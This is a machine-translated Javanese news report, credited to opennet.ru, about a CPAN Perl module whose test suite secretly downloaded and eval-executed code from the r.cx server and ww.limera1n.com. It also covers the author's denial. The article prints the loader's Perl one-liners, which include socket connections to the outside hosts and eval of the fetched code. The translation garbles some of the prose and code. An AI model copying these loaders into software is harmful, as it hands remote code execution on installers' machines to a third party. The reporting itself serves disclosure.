Ing paket Perl sing disebarake liwat direktori CPAN , dirancang kanggo mbukak modul CPAN kanthi otomatis kanthi cepet, kode angkoro. Sisipan angkoro yaiku ing kode test , sing wis dikirim wiwit 2011.
Wigati dimangerteni manawa ana pitakonan babagan ngemot kode sing bisa dipertanyakan bali ing 2016.
Kegiatan angkoro boils mudhun kanggo nyoba kanggo ngundhuh lan nglakokakΓ© kode saka server pihak katelu (http://r.cx:1/) sak execution saka test Suite dibukak nalika nginstal modul. Dianggep kode sing wiwitan diundhuh saka server eksternal ora mbebayani, nanging saiki panjaluk kasebut dialihake menyang domain ww.limera1n.com, sing nyedhiyakake bagean kode kanggo eksekusi.
Kanggo ngatur download ing file Kode ing ngisor iki digunakake:
sandi $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Kode sing ditemtokake nyebabake skrip dieksekusi , isine dikurangi dadi baris:
gunakake lib do {eval<$b>&&botstrap("RCX") if$b= new IO :: Socket :: INET 82.46.99.88.":1β³};
Skrip iki dimuat nggunakake layanan kode saka r.cx inang external (kode karakter 82.46.99.88 cocog kanggo teks "R.cX") lan kaleksanan ing pemblokiran eval.
$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1β³; print <$b>;'
eval unpack u =>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE....}
Sawise unpacking, ing ngisor iki pungkasanipun kaleksanan: :
print{$b=new IO::Socket::INET"ww.limera1n.com:80β³}"GET /iJailBreak
"; evalor bali warn$@while$b;1
Paket masalah saiki wis dibusak saka repositori. (Perl Authors Upload Server), lan akun penulis modul diblokir. Ing kasus iki, modul isih tetep ing arsip MetaCPAN lan bisa langsung diinstal saka MetaCPAN nggunakake sawetara keperluan kayata cpanminus. yen paket kasebut ora disebarake kanthi akeh.
Menarik kanggo rembugan lan penulis modul, sing mbantah informasi sing kode angkoro dilebokake sawise situs "r.cx" disusupi lan nerangake yen dheweke mung seneng-seneng, lan nggunakake perlobfuscator.com ora kanggo ndhelikake soko, nanging kanggo nyuda ukuran. kode lan nyederhanakake nyalin liwat clipboard. Pilihan jeneng fungsi "botstrap" diterangake kanthi kasunyatan manawa tembung iki "katon kaya bot lan luwih cendhek tinimbang bootstrap." Penulis modul kasebut uga njamin yen manipulasi sing diidentifikasi ora nindakake tumindak ala, nanging mung nduduhake loading lan eksekusi kode liwat TCP.
Source: opennet.ru